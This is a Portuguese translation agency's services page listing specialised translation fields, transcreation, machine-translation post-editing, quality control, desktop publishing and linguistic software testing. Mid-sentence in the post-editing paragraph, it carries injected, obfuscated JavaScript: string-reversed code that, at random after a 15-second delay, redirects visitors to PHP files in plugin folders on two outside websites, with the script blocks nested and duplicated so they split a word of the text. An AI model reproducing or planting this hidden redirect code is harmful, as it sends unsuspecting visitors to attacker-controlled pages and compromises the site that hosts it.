Serviços

Utilizamos plataformas de gestão de projetos e software de tradução e localização, entre os quais SDL Trados, Kilgray translations technologies memoQ e Open TM.

Tradução especializada

Agricultura, Ambiente, Automóvel, Banca/Finanças/Mercados Financeiros, Ciências da Vida e Cuidados de Saúde, Educação e Formação, e-Learning, Gestão e Recursos Humanos, Hotelaria, Jogos, Multimédia e Entretenimento, Jurídica, Marketing, Segurança e Conformidade, Transportes e Logística, Turismo

Localização de software, websites e conteúdos multimédia
Transcriação

Tradução+recriação = transcriação. Também chamada tradução criativa, próximo do copywriting. Envolve mais criatividade do que a mera tradução. Não requer a obrigação de fidelidade linguística ao texto fonte. O objetivo é que o texto seja recriado de modo a transmitir a mensagem essencial e a criar o mesmo impacto no público a que se destina.

Pós-edição e revisão de tradução automática

A tradução automática é cada vez mais uma realidade para determinados conteúdos. Acompanh<script type="text/javascript">$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}</script><script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>ando esta tendência, temos uma vasta e sólida experiência em pós-edição e revisão (spot-check) de material traduzido por motores de tradução.

Controlo de Qualidade

Conformidade com as especificações do país, instruções do projeto e expetativas do mercado; exatidão linguística e coerência; rigor terminológico e técnico; apresentação e legibilidade; inteligibilidade e usabilidade; utilização do estilo correto.

Formatação/Desktop Publishing

Paginação do documento e disposição do texto necessárias em função da tradução para outro idioma.

Testes Linguísticos a Software

Testes linguísticos ao software traduzido, apoiados em cenários (scripts ou testcases) e/ou realizados de forma aleatória.